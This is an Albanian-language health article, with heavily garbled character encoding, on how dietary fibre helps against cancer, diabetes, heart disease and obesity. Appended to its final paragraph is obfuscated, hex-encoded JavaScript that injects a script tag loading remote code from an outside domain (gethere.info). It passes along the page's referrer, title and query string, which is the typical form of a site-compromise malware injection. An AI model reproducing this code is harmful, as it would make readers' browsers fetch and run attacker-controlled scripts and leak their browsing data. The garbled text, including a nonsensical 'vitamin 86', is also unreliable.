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Fuqia shA�ruese e fibrave

Me siguri tashmA� e dini qA� fibrat mundA�sojnA� balancimin e tretjes. Por a keni ditur qA� fibrat mund tA� parandalojnA� sA�mundjet e shpeshta, madje vdekjeprurA�se?

Shtimi i konsumimit tA� fibrave A�shtA� i lehtA� sepse ekzistojnA� shumA� ushqime qA� janA� tA� pasura me fibra.

Kanceri i gjiritA�
ShkencA�tarA� kanA� dA�shmuar qA� niveli shumA� i lartA� i insulinA�s nA� trup mund tA� nxisA� zhvillimin e kancerit tA� gjirit.
Hani tA� paktA�n 3 porcione me drithA�ra tA� plota nA� ditA�. Ata mund ta��i gjeni nA� corn flakes, pasta ose oriz, si dhe bukA�n nga drithA�rat e papA�rpunuara. Provoni tA� pA�rzieni njA� filxhan drithA�ra nga drithA�rat e plota me njA� A�erek filxhani me pemA� tA� thata ose tA� freskA�ta pA�r tA� pA�rmbushur nevojA�n e trupit pA�r fibra dhe pemA�.

Kanceri i zorrA�s sA� trashA�A�
Fibrat do tA� nxisin tretjen dhe tA� gjithA� komponimet potencialisht kancerogjene do ta lA�shojnA� trupin mjaft shpejt qA� tA� mos shkaktojnA� asnjA� dA�m.
Konsumoni 25 deri 35 g fibra nA� ditA�. Tri porcione nga drithA�rat e plota do tA� plotA�sojnA� kA�tA� nevojA� ditore. PA�r tA� rritur konsumin e fibrave konsumoni bimA� bishtajore, arra dhe fara.

DiabetiA�
TA�rshA�ra dhe fasulet pA�rmbajnA� fibra qA� janA� tA� tretshme nA� ujA� dhe nA� kA�tA� mA�nyrA� krijojnA� kA�llA�f mbrojtA�s nA� sistemin tretA�s, treten mA� ngadalA� por pA�r kA�tA� arsye ju mbajnA� tA� ngopur njA� kohA� mA� tA� gjatA� dhe rregullojnA� nivelin e sheqerit nA� gjak. Fibrat e tretshme po ashtu rregullojnA� nivelin e kolesterolit, reduktojnA� rrezikun nga krijimi i sA�mundjeve tA� zemrA�s dhe sulmit nA� zemA�r.
MA�nyrA� e shkA�lqyeshme pA�r tA� rritur konsumin e fibrave janA� corn flakes nga drithA�rat e plota pA�r mA�ngjes, ndA�rsa gjatA� ditA�s buka nga drithA�rat e papA�rpunuara, ndA�rsa fasule tA� paktA�n njA� herA� nA� javA�.

SA�mundjet e zemrA�sA�
PA�rbA�rA�sit shA�rues qA� gjenden nA� ushqimet siA� janA� qulli, krundet, bimA�t bishtajore, fasulet dhe bizele janA� fibrat tretA�se. ReduktojnA� nivelin e kolesterolit, ndA�rsa hulumtimet tregojnA� qA� nivelin e pA�rgjithshA�m tA� kolesterolit e reduktojnA� pA�r 10 deri 15 pA�r qind, pA�r A�’arsye zemra do t’ju jetA� falA�nderuese.
Konsumoni tA� paktA�n 10 g tA� fibrave tretA�se. TA�rshA�ra pA�rmban fibra tretA�se mA� shumA� se cilat do drithA�ra, 2 deri 3 g pA�r shujtA�. Me konsumimin e rregullt tA� tA�rshA�rA�s vetA�m pas 2 ditA�ve niveli i kolesterolit ulet pA�r 2 deri 3 pA�r qind.

TrashjaA�
Ushqimi i pasur me fibra pA�rmban pak kalori dhe yndyra dhe do t’ju mbajA� tA� ngopur pA�r njA� kohA� mA� tA� gjatA�. Fibrat treten mA� ngadalA�, pA�r A�’arsye do tA� vijA� deri te rregullimi i nivelit tA� sheqerit nA� gjak. DrithA�rat e papA�rpunuara janA� tA� pasura me magnez dhe vitaminA�n 86 tA� cilat pA�rshpejtojnA� dobA�simin.

NA�se nuk jeni adhurues i drithA�rave tA� papA�rpunuara, shtojini nA� gjellA�t kryesore, sallata dhe supa. ZA�vendA�soni orizin e bardhA� me integral, nA� vend tA� bukA�s sA� bardhA� hani atA� nga drithA�rat e papA�rpunuara.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}